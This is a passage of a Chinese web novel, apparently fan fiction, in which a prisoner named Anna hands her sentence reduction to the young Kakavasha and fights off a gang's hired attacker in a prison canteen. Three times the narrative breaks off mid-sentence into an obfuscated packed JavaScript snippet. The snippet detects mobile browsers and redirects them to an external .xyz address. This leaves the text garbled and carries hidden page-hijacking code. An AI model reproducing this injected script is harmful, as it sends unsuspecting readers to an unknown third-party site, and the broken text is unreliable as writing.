不乖也不行呐,命脉叫人拿捏着,人在屋檐下不得不低头。 狱卒完成交接,通向典狱长办公室的楼层才能开启。 典狱长先生会偶尔抽出些时间见见他管辖下的犯人,前提是这些人必须有足够见他一面的实力与价值。 严谨,慎重,这是他能活着离开战场的法宝。 步下战场后他接受了星际和平公司的雇佣来到伊维尔,努力学习如何从一个指挥官转职为职业经理人。老实讲他做得很不错,不但没有犯人能在他的掌控下逃脱监禁,而且监狱的盈利也漂亮得挑不出一丝错。这些大大超出了董事会的预期,于是更重的期待与压力同时抵达。 对于典狱长特拉维佐夫来说这并不是件坏事,非要辩个分明也得算是董事会对他看重的明证。他还有用,很有用,非常有用,而不是个伤痛满身只能躺在床上呻1吟等死的落魄老兵。但是出于多年以来的职业素养他又很难控制住自己的习惯,比如说看谁都会用征召士兵的标准去衡量,或者总是在午夜梦回时听到些甲壳与鞘翅摩擦的声音。 这不能怪他,一个指挥官,一个被真蛰虫几乎吃掉半边身体的指挥官,他战斗到了最后一刻,无愧于平日里享受的荣耀和粮饷。 那都是他应得的! 如今他住在伊维尔,就像个再也上不去马背的将军,依依不舍回望过他的军队……然后将奇珍异宝赏赐给座下载歌载舞的轻柔美人。 美人好!美人拿不动刀提不动剑,更不会突然翻脸把皮一扒变成嗡嗡叫的大虫子! 所以当他看到站在面前的两个黑羊时,从表情到内心都有些复杂。 眉目冷淡俊俏的女人身姿高挑,看她手臂上露出来那既流畅又紧实的线条就知道是块好铁。旁边形貌昳丽的青年稍稍矮了些,多彩罕见的眼睛在淡金色发茬衬托下格外诱人,实在是天生的富丽华贵。 这两个人站在一处颇有种挑战传统的美感。 但是08241321号的站姿又充分说明她只是个身体素质优越但并未接受过军事训练的普通人。她就像个坐牢坐久的老油条,典狱长面前也敢明目张胆的偷懒。整个人松松垮垮,无精打采……空虚的视线落点,下眼睑上浓重的黑色很有说服力。 丢人! 军人不会这样,就算伪装也不会选择扮演一根烂泥样的懒骨头,这是尊严问题。 特拉维佐夫看了眼安娜,又看一眼,再看一眼,最终决定转开眼睛再也不看。 伤眼! 但是卡卡瓦夏他就可以肆无忌惮的想怎么欣赏就随便怎么欣赏了,这孩子就像尊漂亮的装饰品,而且很便宜。他的罪名是诈骗……嗯,顶着这样一张脸,干诈骗属于专业对口。尤其他还是个茨冈尼亚人,刻板印象直接上升成钢板印象。 庇尔波因特那边有好几位高管对这个从种族屠杀中逃生的少年很感兴趣,毕竟很少有人能把星际和平公司骗得团团转,他做到了。埃维金氏族的卡卡瓦夏,他那天才般的诈骗手段再加上骗死人不偿命的甜言蜜语,以及仿佛刷了金漆一样的幸运……整个宇宙加起来能有这种天赋的年轻人满打满算不超过十个指头的数。 头一个希望能招到好下属的就是主导市场开拓的奥斯瓦尔多·施耐德先生,他的有力竞争者是战略投资部的慈玉典贷翡翠女士,他们都很看好这小子的胆量与手段。 公司追求利润,胆小可赚不来钱。 比起翡翠女士,施耐德先生的心情更急迫。新官上任三把火之后他还需要更多功绩证明自己——【开拓】的命途当然能与【存护】回响交错,开拓就是存护呐!就算他在茨冈尼亚-Ⅳ的动乱背后做了些小动作又怎么样?他是为了给公司开拓市场呀,顺便还让无主荒星上的蒙昧人类沐浴到了文明的曙光呢。 温暖的!高效的!便捷的!文明的!琥珀王的福泽! 至于那些不小心把太阳晒得太多以至于冰雪消融的小小牺牲……在公司利润报表以及所有茨冈尼亚人的未来面前还是苦一苦他们吧,骂名就由施耐德先生背了。 作为埃维金氏族最后的幸存者,卡卡瓦夏是公司比较喜欢的那种看板。漂亮,孱弱,聪明,极少数族裔,需要有人帮他主持公道——卡提卡人实在是太过分了,怎么能连尚未高过车轮的孩子也杀死? 必须有人站出来为那个悲情的消亡民族打抱不平,巡猎星神做不到的存护信徒能做到!不然这茫茫宇宙可还能有公理和正义落脚的地方? 只可惜这男孩儿不是很听话,距离公司要求的看板形象相差甚远。在董事们看来他背后还有根骨头没被敲断,居然敢骗到庇尔波因特?!于是打磨基石的任务就交给了伊维尔。 特拉维佐夫先生深知该如何碾碎一个士兵的意志,连字都不认识的年轻人在他看来就像颗漂亮的石头。 仅限漂亮而已,除了摆在那里为展架增光添彩外没有一点用。 他只消把这块小石头丢在犯人中间,他美丽的容貌,他资质一般的身体,他肮脏的名声,还有他腕间的红色羊头,混合在一起足够让这孩子哭着匍匐在公司高管脚边。 但是卡卡瓦夏聪明的给自己找了个保护人,一个能保护他远离侮辱与损害的……高洁的,正直的人。 她的罪名是“以危险行为妨害公共安全”,其行为究竟有多危险连送到伊维尔的卷宗也没写明。 哪怕身处偏僻的伊维尔,特拉维佐夫典狱长也明白这个罪名的分量。星际和平公司向来标榜爱与自由,一切献给【存护】的星神琥珀王。在那位古老星神的光辉照耀下,什么样的行为叫做“危险行为”,又是怎么“妨害”了公共安全的呢?她必然碰触到了公司的痛点,动摇了克里珀在庇尔波因特的信仰。 最重要的是这个女人没有被就地处死,也就是说她的血可能会成为导致高墙倒塌的蚁穴。 但是她若死于意外、疾病,或是某种桃色的纷争呢? 这倒是个好办法,不但能替董事会解决掉心腹大患,还能间接让埃维金的年轻人弄明白除了星际和平公司这世上没有任何人任何势力能够庇护他。 观察完毕,典狱长被帽檐遮挡的灰色眼睛缓缓垂下视线,露西小姐早已经将两个犯人介绍了一遍,又按照惯例为上司端来茶和点心。 茶是庇尔波因特遥控下的农业星球送来的特产,那是处气候水土得天独厚的宜居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077412|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地,现在已经种满公司想要的茶叶和香料。柑橘似的香甜气息在深红色液体表面氤氲升腾,再加上富含糖类和脂肪的甜点心,一边看书一边美美的吃上这么一顿,就着窗外灰蒙蒙的天气实在是个应该躺在床上盖着被子补眠的美好一天。 “你们干掉了五个黑羊,说吧,想要什么?”已经看过这两人,特拉维佐夫有点意兴阑珊。 名叫安娜的女人不好说,但是金发的埃维金青年就很容易预测了。他必然想要减免欠债,或是申请减刑。 “什么都可以?”说话的是安娜。 与黑羊有关的许诺就像个裹着毒药的甜美陷阱,直觉告诉她这不是颗好枣。 特拉维佐夫先生轻轻笑了一声,就像养尊处优的贵妇人听到自己愚蠢的烧火丫头提了个愚蠢的问题时一样。轻蔑的,怜悯的,居高临下的轻笑,连辩都懒得与她辩上一辩。 这个时候站出来说话的是露西小姐,犯人和典狱长之间犹如泥云之别,中间必然有个垫台阶递话的才好,不然难道要上司亲自和囚犯讨价还价吗? “两位大可以一试,毕竟,你们有五次机会。” 她的目光落在安娜身上,轻轻弹了一下,很快落去她隔壁。 雪山沉默不语,一味安静的伫立在天边。 露西转头看向她的上司,就像个自觉的牛马那样询问下一步该把蹄子落在哪儿。 哒、哒、哒、哒、哒…… 典狱长曾经遍布伤痕如今白皙光洁的长指在桌面上有节奏的轻轻敲击,不是太明丽的灯光下,他选择保持沉默。 医疗站的报告一早就传来了,犯人罹患重病随时可能死亡。他已经打定主意要她死在伊维尔,所以不管她提出什么离谱要求都是一样的……为什么要拒绝一个将死之人呢? 她的死可太有用啦! “呶,这事儿你看着办吧。” 安娜把选择权给了卡卡瓦夏,她已经猜到结果,倒是卡卡瓦夏还对星际和平公司存在幻想。 这不能怪他。 这个年轻人连字都不识,更没接受过任何现代文明定义下的教育。可以想见他之前必然生活在一个相对落后且闭塞的地方,文明的巨兽猛然间撕裂天幕出现在他面前,这份刺激下小朋友头晕目眩心怀向往多么正常! 就连安娜自己有时也很想打听打听星际和平公司的招聘条件呢。 “我?”卡卡瓦夏不敢置信,他迷茫的看着安娜,眼神散乱表情痛苦……也许他根本就没有看她。沙漠人都知道不要直视太阳,会瞎,从此后只能“看”到烙印在视网膜上的影像,世间万物就此隐入黑暗。 没有人会无缘无故对另外一个人掏心掏肺的好,他们之间没有坚不可摧的共同利益,也不具备滚烫的相同血脉,为什么?凭什么? 戴着镣铐和锁链被推入角斗场时他没有惊慌过,第一次杀死对手满脸都是血时他也没有失措过,甚至当他用束缚在双手间的铁链扼杀奴隶主时也没有怀疑过自己。但是现在,这个披着柔软外皮实际上比顽石还要坚韧的男人突然惊慌失措自我怀疑起来—— ——一个埃维金的遗民,茨冈尼亚的奴隶,他配得到这份好意吗?这份好意背后的代价又是什么? 19.第 19 章 “……为什么把减刑的机会让给我?” 离开典狱长办公室后就一直保持沉默的卡卡瓦夏终于在升降机内找回自己的舌头。不再刻意扮无辜演柔弱,也不用夹起声线细细的装作可怜可爱的小动物,更不必浮夸高挑虚张声势……年轻人的声音干净清冽,很符合他这个年龄应有的清新爽朗。 他看上去莫名的有些狼狈,微微低头向上挑着那双多彩也多情的眼睛又狠又冷的盯着安娜。就像挨过饿也挨过揍的流浪猫,无论多美妙的气味只要是突兀出现的东西都得先挠上一爪。 安娜还是那副糊不上墙的松散样子,抱着胳膊乱没形象的左右晃着前行:“因为我用不到呐!” 她笑着指指太阳穴:“这里,长了个不太好的东西,留在监狱里很多事都不必操心,就跟住疗养院似的。但是你需要,我认为你至少需要一份公平……” 就算那孩子只字不提过去,她也能从瞧瞧透进耳朵的零碎流言里拼凑出事情的大概……不就是杀了个奴隶主么?奴隶主这种践踏同类的东西总是要被干掉的,不是今天就是明天,放轻松,下辈子换个职业就好。 “这世上总有人愿意为了公平去做些小事,所以你理应得到一个自己去讨取公道的机会。” 越狱风险大收益低,尚有牵挂的人不合适走这条违法乱纪的路子,万一失败伊维尔可没有下次再来的好事儿,所以小朋友还是得正经想想减刑的办法,别跟着不靠谱的大人闭上眼睛嗡嗡乱撞。 五条送上门的蠢鱼换来无期变有期,继续努力提前出狱大有可为。 反正伊维尔有得是黑羊,他们甚至不需要考虑主动出击,蹲在原地等着还手就足以凑够送他离开死火山的功绩。 卡卡瓦夏狐疑的看了她一会儿,不甘心的求证:“真的吗?” 巨大的幸运从天而降,可是这份幸运背后却是另一个人的不幸。他想笑但又笑不出来,明明应该浑身轻松踌躇满志,心头却反而像是多了块大石头那样压得喘不过气。 安娜看出了他这份踌躇,浑不在意般抬手揉揉年轻人刺绒绒的脑袋瓜:“骗你我能得到什么好处?” “再说了,”她突然压低声音,像个低声密谋的坏东西,“要不是有这个液金项圈在,伊维尔还有什么东西能阻挡我?想走我自己就能走出去,多等一秒都是不够自信。” 听上去很帅气,但是显得整件事更加悲情了啊! 卡卡瓦夏的脸色仿佛已经快进到挑选墓碑款式的进度了,他悲伤的看着安娜,彩色眼睛蒙上一层阴翳。 “这就是医生特别留下你做检查的结果吗?”他像个不依不饶的医闹那样开启无端猜测,“一定是看错了吧,那个女医生年龄也不大,经验不足看走眼很正常。再说了伊维尔这破地方能有什么好医生……肯定是看错了!” 斯黛拉是不在,如果她在这里只消听上头一个完整词汇就会举起考试用书狠狠敲打卡卡瓦夏的脑袋——给我看看这些书的厚度再说话! 狱医究竟有没有给出错误诊断,这件事只要病人心里有数就可以。安娜挂着浅淡的微笑哄了年轻人几句,她看上去是那样镇定,卡卡瓦夏悬在半空中的心也跟着缓缓落下。 “其实也没什么的,”他偷瞄着女人的脸色碎碎念道,“只要身体没有感觉到不舒服,检查也就只是个检查而已。也许是监狱收费的新手段呢,毕竟从来也没见过有人敢和医生讨价还价……” “对对对,你说的没错。”安娜点头表示同意。 得到回应的卡卡瓦夏立刻松了口气,重新变得闪闪发亮。车到山前必有路,船到桥头自然直,再难也能想出解决的办法!等自己逃出伊维尔后一定要请到全宇宙最好的医生报答她! 话题就此告一段落,安娜找了个年轻人看不见的角度悄悄翻白眼。 想要糊弄聪明小朋友可真是为难人呐! 时间已经接近中午,考虑到下午不需要出门打工安娜果断选择去食堂吃饭然后再买些外食带回囚室。她确实是要做好准备跳过晚饭一口气睡到明天早上的,睡眠不足实在让人痛苦。 中午出现在食堂的囚犯数量并不多,绝大多数人要么带着食物在外面吃好节省时间赚取伊维尔币,要么就像她之前下海摸鱼时那样边干活边给自己搜罗当天的口粮。 有本事有能力留在监狱内休息的都不是一般人,反过来讲也可以说这个时间点上出现在食堂的没有一般人。 安娜吃了份自然餐,填饱肚子后走到自助机旁随手点过一通。金属机体内迅速传来叮叮当当的动静,她想要弯腰去捡,冷不防脑后吹来一阵凉风。 死火山腹内怎么会有凉风呢?这里是封闭的,昏暗的,就算有通风设备也飘荡着一股压抑腐闷的气息。退上一万步讲,伊维尔是惩罚有罪之人的监牢,并非度假村,糟糕的环境也是构成刑罚的重要组成部分。 她偏头让开那道风,而后卡卡瓦夏的提醒才传到。不是年轻人有心拖延,而是那速度快得他根本反应不过来。 女人灵巧的跳过整排金属餐桌避开第二击,她像是能在空中悬停那样轻飘飘的转身落地,挑眉笑道:“兄弟,吃饱了消食么?” 她脸上虽然带着笑,眼神却是极冰极冷的,比外面黑色的海水还要冷。 袭击者是个身材匀称神情阴婺的青年,他身上没有虬结的肌肉,但是刚才那滋味儿十足的两招足以说明这人既不缺力量也不缺速度。 “哼。”面对身形稍显单薄的安娜,他心里是不太高兴的。 任谁休息日还要应付二老板的命令出门加班都不会高兴,尤其这份临时工还是力气活,甚至有可能见血,那就更加不受欢迎。 但是没办法呀,帮派的大佬怎么能亲自出面考校一个新来的家伙呢?哪怕当面直接和她说句话也是跌份儿。 所以这里就必须有个知情识趣的人主动请缨去做这件事,万一没有也不要紧,挑拣近来格外不讨喜的家伙打发他去就是,事后还更好制造话题以便于和新人拉近关系。 新人成色不行打死也就打死,白赚个黑羊的人头。新人身手一般?没关系,那么多炮灰的位置等着呢。新人惜败?很好很好,总算有了收下做狗的资格。至于说新人占据上风或是干脆反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15083303|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来打死了老资格?说什么胡话呐,人家分明是帮派未来的栋梁之材! 到那个时候就可以派个面相老实年长且可靠的中层成员去哭诉了,哭诉什么呢?当然是哭诉动手挑衅之人不听命令自行其是,害得兄弟姐妹至亲骨肉间起了嫌隙。 当杀!杀得好! 然后新人就可以欢欢喜喜死心塌地融入群体,再也不怕隔三差五就有人上门找茬啦! 只需要平日里小小交些抽成,个别时候帮派需要你出力砍人别躲懒,这样就很好。对于实力雄厚的新人来说根本不算什么,能享受的帮派福利又岂止是少了一点点麻烦呢? 这么多好事,桩桩件件数也数不清,唯独那个一开始不想加班却被迫加班的家伙倒了最大的霉头。他难道不知道自己被当成炮灰和石子儿被撇出去了么?当然知道,但是他无法拒绝! 如此算来人家心里犯嘀咕也是很有道理的。 与他而言如今最好的策略自然是打死或打服新人,打得她听见自己的名号就夹紧尾巴瑟瑟发抖,不管眼下还是将来才能有安稳日子过。 看吧,都已经到这一步了,安娜吃不到好眼色是什么难以理解的事么? 食堂桌椅板凳乃至囚室里的床铺马桶等等全都是焊死在地面上的,只要犯人不是什么人挨了打就会变成绿皮巨人的特殊族裔,他们就不能随时随地拔出一两样家具充当武器。餐盘叉勺倒是可以拿在手里,但它们都经过倒角处理全是圆头,也就见点血吓唬吓唬,造不成致命杀伤。 但对手是抱着杀心来的,这种时候出手仁慈就是对自己的残忍。 安娜连连闪避完全没有硬碰硬的打算,倒是发过警示就找了个地方躲好的卡卡瓦夏急得不得了,颇有想要用勺子戳死别人的气势。 小朋友似乎对她产生出了某种奇怪的责任感,这算是……临终关怀? 噗! 还怪可爱的。 满脸怠惰的女人突然像是想到了什么那样笑得眉眼弯弯,她的对手还以为这是某种陷阱启动的预兆,匆忙抽身拉开距离。 “卑鄙!”他大声喝骂,低头来来回回在自己身上拍打翻找,“你使诈!” 他研究过这个女人的行动轨迹,深切怀疑她是不是从海里带回来了些有毒的东西。不能怪这个倒霉蛋想得多,层数越深犯人越凶残,环境也越来越糟糕,迫切想要改变现状的人什么事都能做得出来。 安娜疑惑的看着对手原地手舞足蹈来了一段,目瞪口呆……严肃点行吗?画风变得太快我有点接受不来啊! 看她气定神闲站在那里没有上前追击的意思,倒霉蛋越发笃定自己中了某种阴险的圈套。 猎羊小队他是知道的,甚至还交过手。漂亮狡猾擅用毒素的伊芙琳给他留下了深刻印象,那姑娘居然死在眼前这毫无名气可言的人手里,甚至全军覆没,里面没有点说法绝对不可能! “不是吧哥们儿!你要不要听听自己都说了些什么!”安娜大骇,“你怎么凭空污人清白?!” 正午时分人流稀疏的食堂里迅速聚拢出一圈看热闹下饭的囚犯。 20.第 20 章 上门找茬的家伙先把自己狠狠拍打了一顿,这种操作还真是头一次见到。看他情绪激动得几近癫狂,安娜都不好意思乘胜追击打爆狗头了。 总感觉他多少有点病,可别近距离接触过后被传染上! 事情变得有些尴尬,双方以一种奇怪的姿势僵持着,一方活蹦乱跳,一方不知所措。周围或明或暗的围观看客们忍不住窃窃私语噗噗怪笑,安娜倒是无所谓,想看就看呗想笑就笑呗,可是来找麻烦的青年忍不住。 他本就赶鸭子上架不得不来,又是满心愤懑无处发泄,又是怀疑自己中招中毒,外界逐渐增强的压力更叫他心烦意乱——由此也可以看出为什么会是他被推来当这个炮灰。大抵是经常反应过度,实用效果不佳,被人给整了。 “嘿!还打不打了!”狱友们着急吃这口瓜,窃窃私语变成阵阵起哄。 安娜站在原地抄起胳膊,挑眉向人群里看着扬声道:“没这样的啊!惹急我了见谁揍谁!” 嗷嚎怪叫和不怀好意的哄笑声此起彼伏,一时间食堂热闹得就像开锅。 如同儿戏一般的决斗把卡卡瓦夏看直了眼。这还能打到一半摁暂停?你是来搞笑的吧! 搞笑当然不会搞笑,没人闲成这样。首先还是猎羊小队平日声名显赫,那样均衡的一个队伍,突然之间被一个看不出底细的新人给团灭了,这事儿放谁心头都得嘀咕几句。其次是埃维金人的存在——这品种看着就不能打,相当于那女人扛着debuff孤身一挑五不说背后还有个躺尸抱大腿的主儿…… 啧啧啧,越想事情越不一般! 再加上这位来茬架的仁兄本身就一惊一乍,这下可好,带得整个十一层食堂画风跟着跑偏。 人人都想捡软柿子捏,谁也不愿意自己流血流汗到头来却成了块垫脚石。安娜跟着人群笑,放松的朝那位倒霉蛋摆手做驱赶状:“行了行了,我看兄弟你今天状态不好,回去歇吧。” 欺负一个二傻子没意思。 嘘声四起,阴婺青年的神色越发阴婺。他终于意识到味道不太对,拍打的动作频率逐渐放慢,但又不好说停就停。 怎么停嘛!要脸的呀! 虽然是被扔出来的炮灰,但他到底也算个活人,喜怒哀乐样样不缺,脑子新归新,努力一下还能用。对手究竟什么水准,只有试过才知道。他的攻击回回落空,对方一味闪避不曾还手,按道理讲自己是已经输了的。然而这样回去肯定没法交代,试探试成搞笑,下次再有这种工作他还会被推出来。 这次被试探的新人脾气好,没有动辄下杀手,下一次……谁知道会遇上什么? 他必须抓住这次机会,才能避免“下次”出现。 这个女人不下杀手是她自己优柔寡断,伊维尔可不是善地,圣母绝不会有好下场——这地方也没有圣母,就算有些犯人的罪行比较特殊也不能就说他们是个好人。 如果说起初他还想过“打服她”,那么现在这个选项彻底被抛诸脑后。他的念头只剩下一个,那就是杀死任务目标,抹除黑点,消除环绕在四周的讥讽与嘲笑。 总之这个谨慎的青年突然就破防了,发狠了,拼命了,红着眼睛来了记泥头冲撞。 他笔直冲向安娜,速度飞快仿佛闪现,众人只看见一道残影,反应过来后才听到肢体搏击发出的砰砰声。 下一秒一道人影斜飞装在金属餐桌的桌子腿儿上,焊死在地面上的餐桌腿儿应声凹下去两条。原来是安娜拽着攻击者的手腕原地转了半圈借力把他甩出去,倒霉蛋就像个保龄球那样一路叮叮当当。 “事先说好,败者承担赔偿,没意见吧?”安娜深知就算已经不在乎欠债也不能把摆烂的心思表现得太明显,不然总会有人想方设法叫她不得安宁。 青年轻蔑哼笑,起身照她门面一拳挥来算是回应。 不管实力如何,姿态必须摆足! 安娜就当他同意了,双臂交叉抵下对方腾空回身劈下的一腿。 好大的力气!手臂振得发麻。她注意到有人偷偷摸摸想去拿自己还没来得及取的自助,这一丝分神立刻被阴婺青年抓住机会虚晃一枪绕到背后下手,本就被撞歪的凳子再受重挫,被他踩得嘎吱作响。安娜单掌拍在金属桌面上跃过去又跳回来,骗得青年连连将招数使老。他越发焦躁,挥拳踢腿间动作逐渐变得凌乱迟滞,冷不丁一个疏漏胸口剧痛传来,被那女人的飞踢送到自助购物机旁。 想捡漏占便宜的犯人刚把手伸进取货槽就被砸了个正着,两眼一翻躺倒在地。青年忍住胸口余痛一个鲤鱼打挺跳起来,这回安娜不再给他机会,她像穿透时间与空间的羽箭,只在看客们的视网膜上留下两个点,那登门找茬的人吐着血再次起飞。 “噗——” 血溅了出来,犯人们起哄的声音上了个新台阶。 可怜的自助售货机无缘无故挨砸,承受了两人分的重量后大有罢工不干的势头。安娜一把撕下那个想要捡漏的家伙的囚服,权将这件衣服当做绳索套在没能及时起身的阴婺青年脖子上,顺手打了个十字结。 “……” 青年双手死死抓住那件衣服想要避免当众被人勒死的局面,他仰面倒在收纳餐盘的铁架子上,坚固的钢构刚刚好凑成一处绞刑台。 “绞死他!绞死他!我出三百伊维尔币!” 这节目非常符合绝大多数十一层犯人的口味,第一个“打赏”的声音响起后给钱的动静越来越大。人人伸长脖子张望,就像那十字结的绳索套在他们自己头上似的,必须踮起脚尖张大嘴巴。 浪潮般的呼喝声中,青年的挣扎越来越微弱。耳边全是为了他即将死去而爆发的欢呼,眼前是十一层监狱食堂灰黑色的屋顶。他忽然想起遥远的许久之前,天是蓝色的,恒星是金色的,就连风中携带的也是各种轻飘飘的花果香气。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15087574|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 要是能死在那个时候,就好了,他这样想。握紧绳索的双手泄了力气,只等脆弱的颈骨折断一切就宣告结束。 安娜站在众人视线的焦点处,摇摇头,像是看了场无聊的烂片那样松开手。她随手抽走套在青年脖子上的烂衣服,径直走向躺在地上装死的家伙。 “衣服还你了啊,你说你都进来蹲监狱了还管不住手,当我比外面的治安官好说话是吧?” 她把变得与破布条差不多的囚服扔在这人身上,占便宜不成反吃了个肉弹的人双眼紧闭鼻孔外扩,说什么也不肯面对现实。谁也没法叫醒一个一心逃避的人,安娜也不例外。她翻了个白眼,脚步刚动卡卡瓦夏就抱着一堆营养膏和袋装软饮走过来:“我帮你把这些拿回去吧姐姐!” 小朋友眼睛亮晶晶的,活像看到铲屎官带回来一箱罐罐的猫咪。 “那就走呗!” 有人愿意帮忙拿东西当然好,既然他愿意做,安娜也不拦着。两人在嘘声中一前一后走向走廊,仰躺在金属架上的青年奋力爬起来揉着脖子追了两步:“等等!” 他想要个答案。 安娜停下脚步回头,另一只手不忘伸向卡卡瓦夏要他递饮料给自己:“嗯?” 还有啥事儿? “你为什么不杀我,我是想要杀你的……你是不是看不起我!”这家伙死气沉沉的,很难不怀疑他会不会半夜钻进井里爬来爬去。 “啊?”安娜露出迷茫疑惑的表情,脸上写满“费解”这两个字,“你谁啊?” 人群中传出“噗噗”的笑声,青年的脸色从青黑变成青黑红:“我要杀你,你却不肯杀我,怎么想都只有这个可能。你认为我的命和你的命不平等,我不值得你花力气。” 安娜向前伸头眯起眼睛上上下下打量他,说出的话就像裹了蜜。 “你有病吧!”她指指头顶的方向,“有病就去医疗站找大夫,想讨论哲学问题建议去见典狱长。我没有给人当老师的爱好,更不喜欢给目力范围内的东西贴标签下定义顺便再称称分量。至于你的命和我的命,谁的命更贵……” “生命本就无价,对谁来说都是一样的。”她把到手的软饮翻了一遍也没找到撕口,没奈何只能照着尖角咬开小口叼着吸溜。 微微甜,还不错。 她可不是以德报怨的人,猎羊小队在水下动手时她一个也没放过,报复的烈度和速度都足以令人侧目。但是这个上门找茬的二傻子吧……唉,半傻不傻的实在找不到恰当的形容词。真正该杀的是躲在他身后安排布置这场闹剧的人,安娜放过他并非心软,只是不喜欢被牵着鼻子走而已。 高挑瘦削的女人转身离开,这次她头也不回的迈入走廊,一个半大不小的埃维金人跟在她身边说个不停。 看客们交头接耳时不时指指那边又指指这边,站在原地的青年怅然若失。 就……她就这样走了? 21.第 21 章 走廊上安娜把买到的应急食品分开,她和卡卡瓦夏一人拿了一份儿。 “晚上不吃饭,困!别喊我!”接连两晚上不能好好休息,别人能不能扛不知道,她反正是熬不住了。 年轻人飞速乖巧点头:“好的,我知道了。好好休息吧姐姐。” “嗯!” 她哼了一声,等了一会儿铃声响起囚室门打开,一走进去就埋头倒在床铺间,闭着眼睛拖过薄被盖在自己身上。 还是躺着舒服啊! 这一觉睡得结实,中途安娜只醒了一次上厕所,回来连东西都不要吃接着继续睡。晚上那几道铃她压根就没听,铃声再响也只是翻个身咂咂嘴,一点反应也不给就这么一口气睡到第二天打起床铃。 伊维尔上没有严格的白天和黑夜之分。囚室位于水下,无论何时窗外都是漆黑一片。走廊上的灯永远也不会关,昼与夜的概念也跟着变得模糊。 一切都依赖铃声调度。 等她走出囚室,隔壁的卡卡瓦夏也打着哈欠揉着眼睛晃出来:“早,姐姐。” “嗯,你也早。”看到别人打哈欠,安娜跟着来了一个,“哈……今天做手工?” “好!交给我去抽签!” 年轻人对自己这方面的运气向来信心十足,别说抽签了,赌桌上猜点数比大小之类的游戏他长到这么大从没输过。卡卡瓦夏一下子就精神起来,忍不住说起些过往的趣事。 他本就是个活泼的性子,遇到能够包容这份活泼的环境就会像复活草遇到水那样立刻复苏。 “……那家伙到最后还趴在桌子底下不肯出来,非要找到证据证明我出千……我才不需要做那样的事,无聊!”小朋友叽叽喳喳的,安娜耐心点头:“嗯,嗯嗯!” 年轻人嘛,神采飞扬的才好看。 她边走边听卡卡瓦夏讲起过去他不得不赌命的几次经历,时不时还跟着吐槽几句,囚室本就位置靠外,没走几步走出了走廊。这会儿食堂里已经有不少人了,他们来到记忆中的地方站定。狱卒还没上班,眼下排队的人不是很多。 “熬夜伤身呐!”安娜又打了个哈欠,擦掉眼角溢出的水渍,“估计干这活儿的哥们儿今天心情不怎么好。” 连着两天晚上被拉起来,犯人痛苦狱卒也痛苦,尤其后者还有夜班岗,想想就忍不住四下寻找路灯。 负责登记的人还没来,队伍就已经排上了。哪怕是穷凶极恶的暴1徒也不喜欢顶着风险泡在水里钻在土里,相比之下手工工厂的工作几乎相当于坐着聊天,时薪还不低,自然抢手。 安娜站在队伍里和卡卡瓦夏说笑:“我觉着我大概是不太擅长串珠子刻木雕的,没想到能在监狱里学门手艺。” “还可以做雨伞和胶鞋,具体做什么要看有什么订单。”卡卡瓦夏获取情报的效率高到让人怀疑他是不是能从风声中听出端倪。他伸出手在半空中比划了一下,“不过串珠子做工艺品是最轻松的,不需要动脑子。” 那些珠子的来源么,自然是囚犯从矿道里带出的晶石副产物,随便切一切磨一磨,打上孔后筛选出统一的大小就行了。 这些装饰品很受各大景点的摊贩欢迎,价格低廉是主要原因,其次这玩意儿又是花花绿绿又是透明的,光线一照看着挺能唬人,随手买上几串做礼物很有趣味。星际和平公司控制下的十几个度假星就是主要消费群体,每年都有一大堆订单等着伊维尔的犯人们消化。 干这活儿的也有小团体,不然你前后左右的人没事儿就来来去去走动,磕磕碰碰的影响工作效率不说也很影响心情。 聊了十几分钟,狱卒终于来了。大家不是第一天上工,看到他摆开架势就乖乖取出身份牌在仪器上刷过,队伍一下子就动起来,仿佛淤堵的河流被打开了通道。工作人员的心情就像安娜猜测的那样不太好,他懒得和囚犯们讨论公平不公平的问题,记录过队伍前列的一百号人手就把仪器收起来:“走。” 隔壁负责登记出海和下矿的狱卒差不多也这幅气息奄奄的样子,多一句话也不想和人交流。 看来情况是真的有点严重了,不然狱卒们又不是没有加班费拿,情绪不至于低落到这种地步。 排队排得比较早的一百个幸运儿闭紧嘴巴跟着他行动,其他排了队但是没轮到的犯人只能去其他地方上试试运气。当然也有人不想换地方的,比如说第一百零一位。 卡卡瓦夏和安娜来的不算早,但排队排得及时站在队伍中间靠前。要是按照以前的惯例,身形瘦弱的埃维金人一定是头一个被攻击的对象——狱卒只招一百个人,要是少一个就剩九十九,不就刚好空出个位置给后面递补么?但是现在那小子背后有撑腰的人了,不再等同于一般的软柿子。 队伍行进到一半,尾巴上突然传来一阵嘈杂声。 重刑犯之间有事没事打作一团并不罕见,监狱守则又没有明文规定不允许,大家也就把这种时不时出现的热闹当做娱乐项目观赏。安娜也跟着停下脚步扭头看,看得相当专注,专注到卡卡瓦夏不得不提醒她:“姐姐,再不赶紧走就要掉队了哦!” 